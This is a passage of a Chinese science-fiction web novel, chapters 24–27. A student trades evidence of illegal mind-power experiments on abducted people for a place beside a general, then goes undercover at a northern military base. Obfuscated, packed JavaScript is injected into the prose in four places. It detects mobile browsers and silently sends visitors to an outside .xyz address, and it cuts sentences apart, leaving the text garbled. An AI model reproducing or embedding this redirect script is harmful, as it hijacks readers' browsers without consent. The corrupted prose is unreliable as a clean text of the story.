“那还真不一定，”季宴说，“万一表现地好了，说不定林璀中将就破格提拔参赛者进她的编队了呢！据说她的副官刚在不久前死于星盗的暗杀，身边正好缺一个人，所有人都在猜谁会顶替上这个位置。” “是吗？”颜惜语调轻松地开玩笑道，“万一她就选中了我呢？” 说完，似乎也被自己这个白日做梦般的玩笑给幽默到了，她猛得瘫倒沙发上，仰天大笑了起来。 季宴坐在她身边，莫名却觉得此刻的她是认真的。 24. 秘密交易 帝国的大防线分为两条，一条是北部的大防线，抵御着域外的星盗势力，还有一条是位于东南部的防线，防备着与帝国相邻的群星联邦。 而军制也与这两条防线密切相关。北部舰队和东南舰队是最大的两支星舰战力，同时还有两支驻扎在北部和东南防线星群上的大型防线编队。 除了外围编队，帝国内部还有负责各地星系基础安全的编队，一共有十五组，每组各有十支小队，分别负责帝国的十五个大星系。再往下就是警署和监察局，这些机构由军部、议会和皇室联合管理，不再属于军部的单独管辖范围之内。 唯一的例外是当年顾嘉独自建立起了一支直属自己的编队，取名为星云小队，独立于整个帝国的军制以外，只忠于她一个人。她作风太过于大胆张扬，成为别人的眼中钉肉中刺倒也不意外。 所有人都说过刚易折，但所有人又歆羡那些特立独行、不在乎他人目光的坚定者。 而林璀刚好就处在那个平衡点。出身低微，一路跌爬滚打地走到如今，让她拥有了较之前辈更为敏锐的嗅觉，学会了如何更好地收敛野心，但她又继承了军部领导人一以贯之的刚硬做派与铁血手腕，接手了顾嘉留下来的这个吃力不讨好的位置，在继任军部一把手后这个位置居然一路坐的平平稳稳，把军部围得像个铁桶，议会和世家的势力一丝也渗透不进来。近年来连带着军部甚至有水涨船高之势。 因此当林璀中将出现在第一军事大学的格林联赛实地战个人赛的评委席上时，现场爆发了排山倒海般的欢呼。 林璀没有那些领导人爱在正式项目开始前通过冗长的发言实则吹嘘自己的毛病，她在被示意开始发言后只是言简意赅地说: “很荣幸今天能作为评委坐在这里，格林联赛是帝国一直以来检测学生基础水平的盛大联赛，祝各位展现出自己最好的水平，不必因为我的在场而感到紧张。” 她声音低低的，有几分沙哑，瞬间引发了观众席一阵骚动。 颜惜倚在出口处的门廊边仰头看着她。局限于只对内部师生开放，今天到第一军事大学开放赛场观赛的人比起其他开放类活动要少很多。 颜惜靠在墙边，把玩着自己的收纳手镯，随手将自己的剑一收一放，剑柄尾部新打上去的一个环扣上吊着一枚新的穗子，是青色的绳结，上面吊着颜惜从辐射主星带回来的那块白云晶——是那天她回长老院时拜托康娜帮自己打上去的。 当时在辐射主星的实验室里，颜惜眼尖，发现了这块白云晶上似乎还有凹凸的痕迹，她背着段迟凛捡起来一看，发现上面居然是一个她不认识的家族的纹章，于是就将它塞到自己的包里，带回了中央星。 中央控制台的广播声将她从回忆里唤醒：“本次个人赛承接上次在本场地举行的预科赛时的排名，同时会根据小组赛的成绩进行分流，淘汰小组赛中后70%的队伍，淘汰上次预科赛时排名未进前10名的参赛选手，被淘汰选手的成绩将有这两项综合而成，而剩余选手则参加一对一个人赛，个人赛得分为附加分，按比例计入总分之中。如过程中有人落败，但评委认为有出彩之处，也可获得相应附加分。” 参加单人赛的这两个条件要同时满足，颜惜仔细算了算，小组赛她们正好卡在前30%，同时她又卡在了预科赛那个赛场的第十名，她居然就这么跌爬滚打地闯进了个人赛。 “现在，”广播声又响了起来，“系统将为所有人分配对手，胜者记十分，败者记五分，胜者将进入下一轮一对一作战。” 颜惜看向自己光脑里正在滚动分配对手的赛事界面，等待那个滚轮转动了片刻，终于停在了一个熟悉的人名字上—— 路子垚。 *** “算起来我们还是同学呢！一起被调剂，也是很有缘分。”路子垚站在颜惜的对面，笑眯眯地说。 “嗯嗯，太有缘分了。”颜惜心不在焉地敷衍他。 她和路子垚的对战号放在很前面，或许又因为是两人都是被调剂的，所以系统自动将他们分配到一起。 “那，开始？”路子垚随手转了转左手里的枪，对着颜惜问道。 颜惜没说话，算是默认了，她拿出手里的剑，学着路子垚的样子也转了转。 吊在剑柄尾端的白云晶在阳光下显得闪闪发光，连带着上边雕刻的不知名的纹章的痕迹也明显了许多。 路子垚先动了手，他迅速地按下扳机，连续平行发射了一排的子弹，封住了颜惜往旁边躲藏的路径。 路子垚手里的这款小口径半自动手枪，一般是由基础不太好的人使用的比较多，因为自带瞄准系统，同时后坐力也比其他型号的枪炮要小很多，发射速度快，但唯一的缺点是杀伤力不足，因此被许多人成为“傻瓜枪”。像当时格鲁吉亚在赛场上掏出来的就是这种手枪的改良版本。 路子垚封路径其实封的也不算好，颜惜侧身往场地边线那边躲了躲，随手斩落其中一颗最近的子弹，轻松破了他这一招。 颜惜可没忘记他以前其实一直在第一军事大学读书，后来一年前莫名其妙地转到了颜惜的系里，可是这个水平倒是一点看不出来他以前是个训练有素的军校生。她之前让别人帮忙查路子垚资料的时候，发现路子垚以前用的最多的其实是一对枪管很长同时重量很重的转轮手枪。 怎么？颜惜挑挑眉，他也要隐藏实力？ 两人在台上像大爷散步一样，开始小学生比武，堪称你来我往的回合制，比起其他人紧张刺激的快速决出胜负，这两个人打的又臭又长，观众看着他们那很没有激情地打斗，时不时爆发出一阵“吁”的喝倒彩的声音。 “都是调剂学生了，还要怎么样呢，你说是吧，颜惜？”路子垚闪身躲过颜惜挥过来的剑锋，同时拿枪托抵住了她踢过来的一脚。 “嗯？”颜惜心思都没放在和路子垚的对战上。 她的余光飘向了坐在评审席上的林璀。 白云晶在阳光下光彩洋溢，随着颜惜挥剑的动作，伴着穗子飞在半空中。 她看到了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427078|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林璀眯了眯眼，目光看向了颜惜，不，准确来说是看向了那块白云晶。她转头对着自己站在一侧的下属吩咐了什么，那人弯下腰来，听完她的话后，转身悄悄地离开了。 颜惜转回目光。 路子垚还是那副笑眯眯的样子：“如何？你是不是得感谢我一下？毕竟你看起来得偿所愿了呢。” “说话真阴阳怪气。”颜惜也学着他说道，“你还没告诉我你莫名其妙转到我专业的原因。” “嗯，或许是因为你长得很像我认识的一个人。”路子垚说完，麻溜地放弃了抵抗，任由颜惜的剑悬在他的颈间。 “我输了。”他说。伴着台上的观众席发出很不屑的倒彩声，两人跳下了对抗台。 颜惜一下台就去签了后续一对一个人赛的弃权声明，拿着到手的十分附加分就开溜了。 刚走到偏僻处，她被那个原本站在林璀身后的她的属下拦下了。那人出现地无声无息，就这么绕到了颜惜的背后。 “颜小姐，”他的态度倒是很好，“林将军想请您先去她的私人飞行器里等一等，等所有单人赛结束后她会来找您谈一谈，不知道您是否同意？” 颜惜这下是真心地笑了出来，她眉眼弯弯，眼睛都笑得只剩一条缝，语气里的笑意挡都挡不住：“当然！” *** 单人赛结束地很快，颜惜在林璀的飞行器里听到了外面广播播报的单人赛结束的声音，没过多久，外边的停机坪上就传来了军靴踏地的声音。 舱门打开了，林璀微微弯腰，走进了飞行器内。 她看到了颜惜，大刀金马地在她的对面坐下。 “林将军。”颜惜此时换上了她的中央星大学的校服，是很典型的学院风外套加过膝长裙，看起来很是文静。“不知道您找我来是想说些什么？” 林璀的左手抚上了她自己戴着手套的右手。 “听说你去过辐射主星？”她琥珀色的眸子看着颜惜，冷冷的，“白云晶从那里拿的吧？” “是啊。”颜惜痛快承认了，微笑着直视了回去，“从一个实验室里拿的呢，可惜那个实验室最大的白云晶罩子碎掉了，还是从里面被打碎的，我猜测，用力不小吧？” “你想问些什么？”林璀的神情没变，一如既往地沉静，只不过颜惜观察到了她手指轻微地动了动——那是即将打开精神力武器的前兆。 “您不能杀我。”颜惜直白的说了出来，“因为只有我手里有莱塔诺博士最后遗留下来的有关那个实验室的罪恶的证据，而只有我才知道能打开那份证据的人，如果你杀了我，我敢保证你一辈子也拿不到你想要的。” “我来是想和你做个交易——如果你答应我，我会成为决不让你失望的盟友；如果你硬要追究我的目的，我也不是不可以告诉你——而是否做交易，这个决定权在你手里。” “林璀将军——”颜惜重心往前挪了一点，歪着脑袋看着坐在对面神情冷漠的林璀，“或者说——” “实验体一号。” 25. 晦涩过往 颜惜是在季宴给她看完林璀的照片时，猛然间回忆起她是谁的。当初在辐射主星的那个实验室里，她看到莱塔诺的实验日志时，第一反应就是那个畸变人中的其中几个人很眼熟。现在想来，其实她在顾嘉和颜拾雨的悼念会上就见过林璀。 至于林璀是为什么会成为实验体，而后来又是怎么逃脱的，颜惜心里大概有个猜测，只是有些惊世骇俗。她身边唯一一个做精神力研究的也就只有学艺不精的海莲娜，她得出的结果是确实有可能性，颜惜姑且先相信。不过这些都不是最重要的。 “说说吧。”林璀坐了回去，此时她的神情倒是没有刚才那么冷肃，“我先听听。” “让我加入军部。”颜惜说，“我要从中央星里脱身。” “条件？”林璀问，“你现在能给我什么？你加入军部又能给我带来什么？” “别忘了，”林璀笑了笑，她的右手还没完全从她的精神力武器收纳戒指上放下来，“现在是你在求我。” “那也得看您想要什么。”颜惜挑衅一笑说，谈到这里，她确定这笔交易已经成了，“我能拿出来交换的东西不算多，但是我猜里面肯定有你很想要的。” “好啊，既然你这么说，”林璀说，“告诉我你是怎么登入那台有密钥的实验室外置设备的。你说你能找到唯一那个解开密钥的人，我姑且信你。把解密后的内容告诉我，我带你离开中央星。” 林璀的话说的很有门道，她只说带她离开中央星，可没说让她进军部。这可不是颜惜想要的，单单离开中央星，她费点力气单凭自己也能做到。 “单单是离开中央星我自己也能做到。我想当你的副手——”颜惜直接说了出来，“我不会出面，但我希望你能把我纳入你的机密核心圈。” “凭什么？”林璀重心前移，看向颜惜，“你和路子垚刚才的表现可让我看不到什么可圈可点的地方。” “凭这个。”林璀的飞行舱里有一台精神力检测仪，这台可不是什么刻度模糊的老式仪器，颜惜放出自己精神力的极限，瞬间那台精神力检测仪的数值飙升至爆条。 “我是天生的。”颜惜意有所指。 林璀眯起了眼。 她神色莫名有几分的复杂，沉默了好半晌，她给出了她的回答。 “可以，”她说，“你来当我的副手。” *** 林璀向来话不多，军部的作风向来也是说一不二。 他们可是唯一一个不会管任何风言风语，不会管什么长老院和皇室所谓的阻拦。 颜惜委托季宴帮她办好休学手续，忽略了快要炸掉的光脑讯息，转身离开了中央星。 当天晚上，林璀就带着颜惜上了她的私人穿梭舰。 “东西。”她言简意赅，“然后告诉我你是怎么打开实验室的那台仪器的。” 颜惜不知道海莲娜用的什么密钥打开的最后那个链接，她随手扫了几眼，发现里面记录了所有实验室里的人员来源，以及实验室背后的主理人是如何通过非法来源将他们抓到实验室里，而后进行一些超出实验道德的实验。颜惜把她复制来的莱塔诺博士的日志和这个链接里的东西全都打包发给了林璀。随后将她和段迟凛在辐射主星实验室里的事情大致对林璀说了一遍。 “你为什么会知道密钥？”林璀头也没抬，一边翻着莱塔诺的实验日志一边听颜惜讲话，但却抓住了重点。 “唔。”颜惜没想到她如此敏锐，索性直说了，“我认识莱塔诺的女儿。” 林璀抬起头来看着她。 “我以为你会恨她呢。”颜惜说，“毕竟莱塔诺看起来是主导你的那场精神力实验的主管研究员？” “已经无所谓了。”林璀说道，“我知道莱塔诺最后失踪了。我也知道她有一个和三号实验体差不多年纪大的女儿，但没想到她最后选择把一切记录下来。” “她的失踪难道不是因为查到了这些东西？”颜惜听她的口气，似乎有些隐情在里面。 “不。”林璀说，“莱塔诺不是因为查到了不该查到的东西而被杀害的。她之所以要死，是因为实验成功了。” “什么？”颜惜眯起眼，在此之前她一直以为莱塔诺是因为揭露了主理人的背后阴谋而去世，但如今细细想来，似乎确有端倪。如果莱塔诺揭露成功了，那么这个罪恶链接就不会一直存留在被废弃已久的辐射主星，而最后那个删掉所有记录的人也显然没有发现这份被藏起来的日志与链接。 “莱塔诺和哈鲁是因为实验成功了，所以才死的。”林璀云淡风轻地说，“既然都打算接纳你了，那我就告诉你吧。” “你在那个实验室里捡来的那个碎片上的纹章，是含宁实验室的徽标。你见到的畸变人，其实就是四个实验者被人为缝合的。”林璀说，“含宁实验室，是违法建立的，里面做的全都是如何人为提升精神力的违法实验。起初这个实验在很多年里都没有任何进展，后来是莱塔诺提出，精神力具有可联结性，既然精神力能与外界物品发生反应，那精神力与精神力之间显然也是可以发生反应的。” “这句话给了实验室背后的那个人很大的启发，于是他将他的政敌，将惹过他的人，将路边随手捡来的人，将无权无势的人，其中精神力高的，全部扔到了这个实验室里，对莱塔诺说，他们就是你最好的实验品。”林璀说这些话的时候语速很慢，似乎是许久没有对别人提起，又似乎是想要自己永远记得这些事情，“将人缝合起来，精神力就不得不相互发生链接了。多么简单粗暴，但居然是真的有用的。” “这场实验成功了，”林璀说，“很多人在这个过程中痛苦死去，很多人根本没有提升精神力，反而因为排异反应而倒退——但我和其他三位实验体的缝合手术成功了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432466|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我的精神力从原先的91点，到四人被迫联结后的96点。这是含宁实验室第一例成功的案例。” “你在那个走道里看到的所有的畸变人，都是在我成功的实验的基础上创造出来的。”林璀说，“在这个基础上，那个实验室还研究出了怎么将四个人的精神力融合成一个人。而后又进行了一系列实验，研究出了怎么将这份精神力，裁剪下来，融合到另一个人身上。” “这就是最终目的？”颜惜问道，其实这个结论和她与海莲娜猜测的大差不差——精神力产生的位置是大脑后侧的精神体，而四个人联结后精神体会相互反应，其中三个更为弱小的精神体会自动像最强的那个精神体转移，从而提高精神力——颜惜从辐射主星回来后，就询问海莲娜能不能将一份精神体嫁接到另一个人的身上，海莲娜露出了难以置信的表情，然后她回到了自己的实验室，模拟了无数次实验，最后顶着浓厚的黑眼圈给了颜惜回复——这是可以的。 “我知道莱塔诺是个什么样的人，说她是个慈悲为怀的圣母，她显然不是，但如果说她是罔顾人命的科学怪胎，但她又保留了最后那么一点的良心。”林璀话语一转，谈论起了莱塔诺。 “什么意思？”颜惜察觉到了不对劲。 “在我们的实验成功后，莱塔诺终于从埋头实验的状态里走了出来。她不是蠢人，自然也发现了这个实验室里种种奇怪的地方。可惜她无从求证，因为我们所有人一旦做完实验、被浸泡进那个实验室的绿色实验液体后，就变成了无法说话、无法睁眼、无法做出任何动作的废人。但是显然主理人收集了这么多活人，首尾总是没处理的那么干净，莱塔诺通过蛛丝马迹发现了我们这一批人的来源——来自各个星系上根本不知道所谓实验的人，有几个甚至年纪很小，在被抓来前还在期待去上学，根本不像当初主理人告诉她的那样，我们这些人都是自愿的实验者。” “莱塔诺受不了做活人实验了。”林璀的声线一如既往地稳，“她对那个含宁实验室的主理人说，她不愿意再这么下去了，她想要和她的丈夫哈鲁一起辞职。” “但显然不行。”林璀说，“我是唯一一个例外，因为我在被封闭地浸在那个实验室容器里，虽然没能睁开眼睛，也没能看清那个主理人的样子，但我没有失去意识，因此能隐隐约约听到一些声音。” “那个主理人说，好吧，既然这样，实验已经成功了，那你们也就没有继续下去的用途了。” “莱塔诺，”那个主理人说道，“你和哈鲁的精神力点数都是95点吧？算是帝国内最高的了吧？” “真是感谢你们为含宁实验室做出的贡献，成功指出了一条如何提升精神力的道路。” “既然你不打算继续为我们效力，可惜了，我显然也不能放你离开，”那人说，“那也只能委屈委屈你们，成为为我们铺路的下一个实验品了。” 26. 北部星群 “你是说，莱塔诺和她的丈夫哈鲁是因为不愿意继续当含宁实验室的实验员，同时他们的精神力很高，被拿去当提升别人精神力的献祭贡品？”颜惜问道。 她终于明白一开始林璀对她的敌意从何而来。在林璀眼中，她知道含宁实验室的试验仪的密码，同时还知道实验，精神力还在95点以上，这几点综合起来，实在是过于可疑，看起来她就像含宁实验室的背后拥有者，拿莱塔诺做人体实验提高精神力的受益者。 “那你怎么确认不是我？又怎么确认我没有接受过提升精神力的手术？”颜惜问林璀。 “很好分辨。”林璀脱下她右手上的手套，露出了她的机械手。 她的食指指着自己耳后的一块区域——这里是产生精神力的精神体的位置。 “接受过提升精神力实验的人，会不自觉产生精神力排异反应，为防止排异过于严重，接受这个手术的人在精神体处都做过防排异手术。”林璀声音淡淡，撩开了她耳后的短发——那里有着一道长长的伤疤，从耳后开始，最后隐入她的发间。 “而你，”林璀看向颜惜，拨开颜惜垂在肩膀上的微卷长发，“你没有。” 颜惜左耳并排打了四个耳洞，带着三个耳骨钉，耳垂上还带了钻蓝色的尖头吊坠，闻言她摸了摸自己的耳后，是平滑的，除了凸起的耳后软骨，其他什么都没有摸到。 “不过这几年帝国里倒是没有明面上精神力高于95点的人。”林璀说，“帝国数据库这几年也是漏洞百出，里面的假数据多得惊人。” “所以姑且先相信你。”林璀说，“精神力这么高，真是难得一见。” 95点精神力以上的人，颜惜倒是知道好几个。格鲁吉亚和戴勒两姐弟精神力是95点，段迟凛精神力也在95点或者之上。 至于他们中谁才是那个含宁实验室的真正拥有者，还亟待求证。 “有人告诉我，如果我做的某些事让他们满意，他们可以让我也提升精神力。”颜惜突然想起了曾经那些聊天记录，发话了。 林璀眯起了眼睛：“谁？” *** 段迟凛发现联系不上颜惜，是在格林联赛正式结束后。 颜惜的通讯一直打不通，给她发消息也不回。 段迟凛找到了颜惜的室友，得到的结果是颜惜被林璀带走了。 林璀？段迟凛是怎么也想不到这个名字会和颜惜联系到一起。林璀的风格属于是不该她管的她绝不会过问，也从来不会做多余的事，别人也休想插手她的领域。段迟凛曾经想要找人渗透进北部防线，后果自然是以失败告终。 格林联赛一直有请军部最高领导人当个人赛评委的习惯，他本来还想着借这个机会看看格鲁吉亚和戴勒有几斤几两，没想到这两姐弟一个说自己受惊，另一个说自己重伤未愈，双双缺席。 现在颜惜也莫名其妙地跟着林璀走了。通讯不接，消息也不回。 段迟凛觉得似乎事情正在一步步的脱离他的设想。 他试图又给颜惜发消息。 这次倒是有不同了，他的聊天框旁直接显示出一个巨大的红色感叹号—— “对方还不是您的好友，无法发送消息。” 他的直系学弟柯里尔此时从他身后路过，显然是看到了他被拉黑的全过程。他吹了声口哨，语气十分欠揍：“学长毕业快乐！” 陆洋紧随其后经过，语气平的像机器人：“学长毕业旅行去哪玩。” 段迟凛两眼一黑看不到未来。 *** 颜惜直接跟着林璀去了北部防线。 这种功率最大的星舰穿梭大半个帝国，大约需要三天。 视窗外是五彩斑斓的星云，时不时有短暂的闪着光的星环闪了过去。星舰通过空间门时眼前总是突然转暗，而后出来时是刺眼的光。 沿途途径了几个大星，临空港里大大小小的飞行器与舰船起飞又降落，速度快到肉眼只能看见划过去的飞行轨道。 颜惜在短暂停泊的港口看着下面熙熙攘攘的人流。 手环传来震动的声音，是有人给她发来了消息。 她低头，随手划开锁屏，只见安德鲁的消息就出现在了她的眼前。 aaa该死的上司：“你怎么惹到林璀了？她为什么突然把你带走了？” 颜惜故意答非所问：“我没事，目前还是安全的。” 对面显示输入中了好久，颜惜猜他正在嗤之以鼻地喊“谁关心你怎么样了”，过了好半晌，消息才被发了出来。 aaa该死的上司：“之前答应你的提升精神力的事，姑且答应你了。” 颜惜开始睁着眼睛说瞎话：“哇！那真是太好了。但是林璀说要带我去北部防线接受她的监督，我也不知道怎么一回事。你们能来救我吗？” 对面果然没了声响。 好半天，安德鲁才发来一条回信：“抱歉，军部里，我们插手不进。” 果然！颜惜心下一动，她猜对了，军部是他们议会里唯一插手不进的地方。 没等到回复，他一转画风：“林璀为什么要监督你？” 颜惜继续装傻：“我也不知道呀。”演戏演全套，颜惜索性继续跟他诉苦，抱怨的小作文一条接着一条，直接把安德鲁写烦了。 “好了好了！”他很不耐烦地回复道，“我会想办法让你回来的。” 应付完这个难缠的，颜惜转头把段迟凛从黑名单里放了出来。 一把他放出黑名单，消息跳出来一堆。最近一条显示是刚刚发送的。 “颜惜你真是分不清东南西北了。” 对面没想到她会突然把他放出黑名单，手速极快地撤回了。 “我看见了！偷偷骂我是吧！”颜惜理直气也壮，“太没素质了你。” “为什么会跟林璀上将走?”段迟凛直接一个通讯甩过来，被颜惜无情挂断后只好发文字消息。 “你管我？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444693|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“……” 颜惜都能想象到段迟凛那副隔着网线没法宣泄怒火，只能自己越想越气的表情。颜惜觉得他做继承人做到这个份上也是够可怜的。换成是她就不会要什么面子和里子，直接放飞自我，创飞所有人。 “颜惜，”段迟凛显然比安德鲁对颜惜的了解要深多了，“军部不是长老院，北部防线也不是中央星。在那里你所有的小手段都不值一提，中央星上的人会在乎颜面，但是军部不会。” “我知道啊。”颜惜油盐不进，“我来中央星也有七年了吧？呆腻了，想要换个环境。” “颜惜……”段迟凛显然不喜欢她这种答非所问。 “况且，你怎么就确定，我呆在北部防线会不如在中央星呢？打个赌？” “段迟凛，要不要做个交易？”颜惜百无聊赖地在虚拟光屏上敲着字，“你给我格林平台的管理员权限，我透露一点北部星群的军部机密给你，如何？绝对不亏本吧？” *** 三天的时间转瞬而逝，林璀的巨型星舰降落在北部最大的军用港口“漆星”港上。 飞船着陆时猛得震荡了一下，而后所有引擎全部缓缓关闭，隔着隔音舱板，舱内的杂乱噪音也小了下去。专属通道连接上星舰的舱门，气压阀门打开，北部寒凉的空气带进了星舰里。 颜惜跳下通道口，双脚踏到了漆星的地上，刹那间，带着细小雪碴子的风灌了她满袖。 天是灰蒙蒙的，地也是，和中央星这座被人工调控的四季恒温花园比起来，北部实在显得有些——说好听点是纯天然无改造，说难听点就是荒凉。放眼望去天与地的界限都被模糊了，地平线也看不太清，气温明明只能算是凉爽，但体感却觉得冷入骨髓。 总而言之，不是一个宜居星球。 事实上也确实如此，颜惜跟着林璀一路往外走，发现路上行人很少，整个港口几乎没有客船，多的是全自动装卸起飞的货船和规划有素、间歇起飞的军用巡逻小型舰艇。 “跟在我身后，不要乱走。”林璀提醒颜惜道，“这里没人认识你，而且军用区域占一大半，抓人抓得很严，我不想在管理局的保释区见到你。” “你还没告诉我，你想要当我的副手，来到北部星群，是为了做什么。”林璀开口道。 四下无人，天色灰蒙蒙的。港口上方巨大的黑白二色虚拟投影时钟的时针指向了晚上九点——此时港口到了冬令时指定该关闭的时候，所有红绿二色的指示灯全部关闭，只有照明使用的白色大灯还开着，显得四下更是灰扑扑一片。所有港口上的机械在到点的那一瞬间停止了动作。货船和其他船舰早就离开，此时四下安静无声，雪碴子越下越大，只剩下它们扑簌簌落到地上的声音。整个偌大的停机坪上只站了两个人，像是两棵孤独的树，立在广袤无垠的大地上。 颜惜脸上的表情也跟着灰蒙蒙的，看不太清。 “你知道吗，北部的洛伽星群，脚下的这片土地，是我的出生地。” 27. 地下城市 颜惜跟着林璀坐上了她的星系内部飞行器。 大约半小时后，飞行器降落在一片平坦的地面上，在飞行器平稳落地后，那块地面突然凹陷了下去，伸缩机械臂将飞行器连带着平台向地下行进，进入了这个巨大的地下机密基地。 飞行器最后停泊在了地下第一层的停机坪上，颜惜扶着扶手出了飞行器，只见四周规划有素地停泊着大大小小各类型号的舰船。 林璀见颜惜还在四周不断环视，直接上手把她拉进了升降梯。 升降梯的下降速度很快，周遭还是透明的材质，整个地下的机械森林展露在了颜惜眼前。整座城市是钢筋水泥式的，灰扑扑的，结构外露，像是根本没有任何城市美化的概念。但是就是在这样的冷色调的城市里，伴随着地层不断下降，霓虹灯和射线式的灯光不断从颜惜眼前闪过，楼层逐渐升高，哪怕在深夜，大楼的灯光依旧没有关闭，娱乐区里挂满了一闪一闪的老式大灯牌，橙黄色的灯光间歇地闪烁。那种不加修饰的蛮荒感不断缩减，反倒是有了几分灯红酒绿的意味。 “漆星一号地下基地是北部最大的军部战略地下基地，一般被人简称为''地一号''。”林璀见颜惜好奇，于是主动介绍道，“这里加上地表总共十九层，是唯一一个军民同住的基地，每层的职能划分都不同，像是娱乐区、生活区、训练区之类的，从第二层开始整个地下基地呈漏斗型，随着层数增加，每层面积缩减。” 升降梯最后停下了十五层。 “这里是军部预备役的生活区。”林璀朝颜惜示意她可以走出去了，“军部有自己的选拔标准，我答应你的交易，给你一个机会，至于是否能够拿到正式加入军部的名额，得看你自己的造化了。” “一个月后有一场正式的军部招人评议。”林璀依靠在走廊尽头的门边，“我希望你别辜负我的期望。” 她说完这些话，转身安排了下属带着颜惜去办手续，自己先行离开。 她应颜惜要求，给她安的是一个军部培养的预备役的假身份，必须通过考核才能转正。 颜惜对这个安排没有任何不满，她也没有真的企求林璀能绕过所有审核，直接把她塞进来。这已经是她谋划后的最好的结果了。中央星里该找的东西她都已经摸了一遍，除了没能成功拿到格林平台的管理员秘钥，别的都大差不差，再继续在那里耗下去只会越陷越深，更何况颜惜自认为再这么装下去，保不齐哪一天她就彻底露馅。此时来到军部是她最好的选择，她既可以挣脱中央星这个泥沼，又可以借机回到事故发生地调查，恰巧含宁实验室成为了她接近林璀的敲门砖。 “等等，”颜惜喊住了正要离开的林璀，“我通过后，你需要我做什么？” “这么自信？”林璀挑挑眉，随后笑了下，“告诉你也无妨。” “不知道是哪里来的小虫子混进了这个基地，”她随手扯了扯右手的黑色皮手套，“他们似乎在酝酿一场名为''反对地下基地原有秩序''的政变。” “我看你还挺能装的，”林璀的话也不知道是夸颜惜还是骂她，“既然你想要做交易，那就得拿出等量的砝码，那不如从帮我端掉这些人开始。” *** 带颜惜办手续的副手就是当时很客气地“请”走颜惜的那位男性。 颜惜注视着自己那张假身份的军部工牌上的“书河”的名字，跟在林璀的副手身后，找到了她的宿舍。 林璀的副手显然也有别的事要忙，将颜惜带到后便先行离开了。 由于是预备役，虽然是单人单间，但这个宿舍真算不上宽敞，内部陈设也很简单，四面墙壁全部刷成了灰色，中央是一张小小的铁架单人床，靠南边有一套简单的桌椅和侧边只有两三平米的独立卫浴。 颜惜在光脑里给自己换上了一张虚拟脸，百无聊赖地甩着工牌，瘫倒在宿舍的小床上。 至此，“颜惜”这个人暂且消失了，颜惜不知道林璀到底怎么对中央星那群人糊弄过去的，不过看起来颜惜给她的那份含宁实验室里的东西对她来说真的很重要，值得她为颜惜做到这个份上。 颜惜打开通讯，手指悬浮，停在了通讯栏里的海莲娜那行上面，犹豫了半天，最终还是没有拨过去。 *** 第二天一早，颜惜就被基地里的起床铃喊醒。 她很痛苦地睁开了眼，穿上军部的制服。军部预备训练营里不允许携带任何自己的武器，哪怕是定制的专属精神力武器也不行，颜惜把镯子塞进保险箱里，临走前环顾一圈，这才出了门。 预备训练营在地下十三层，军部选拔一季度一次，每次总共有十五个批次，颜惜被分到了这季度的最后一批，她走到走廊尽头的训练室，用工牌刷开了密钥门。这个训练室很空旷，里边零零星星大约只有十来人。 颜惜走进门去，随便找了个空旷的四周无人的地方坐了下来。她余光偷偷扫了扫四周的人，男女人数对半开，大多数都是偏向于大块肌肉的力量型，只有少数几个身形是偏向匀称的。 也难怪，由于精神力以及精神力特供武器产生后，精神力武器的使用改变了冷兵器时代和热兵器时代的所有战术与打法，精神力武器的一个很大特点就是强化了攻击力以及攻击范围，因而现在帝国内部的主流是在强化攻击力这一条路上走到极致，单边型拉到极致，至于速度和防御，只要我先把对方给干掉了，这些就通通不用考虑了。 她的目光忽然在角落里的一个人身上定住了。那人头发很长，颜色也很独特，染成了亮银色，脸颊两侧剪了公主切，居然是颜惜当时在她学校里见过的卡捷琳娜。 颜惜当然没忘记现在她表面上的名字叫“书河”，因此她只是默默坐在那里，没有贸然上前。按卡捷琳娜的水平，中央星大学也有军部的直属名额在，毕业后她只要好好经营，毕业说不定就有校级的军衔，怎么现在跑到这里来参加预备役选拔？ 不过没等她想明白，训练室外就走进来一个肩章上显示是上尉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个巡逻队的分组并不是那么的严苛，可以自己组队，于是颜惜和宿塘组成了一队，还差一个队员，正巧一直站在角落里的卡捷琳娜落了单，被自动分到了她们一组。巡逻区域也是随机分配的，颜惜她们小队随到了十一号，被分到了娱乐区。区域内巡逻不允许携带巨大杀伤力的武器，上尉打开武器库，只分发了人手一根警棍。颜惜最大的优势就是她足够谨慎，趁所有人没注意，颜惜顺走了武器库监控死角的一把匕首，藏到了腰间的绑带里。 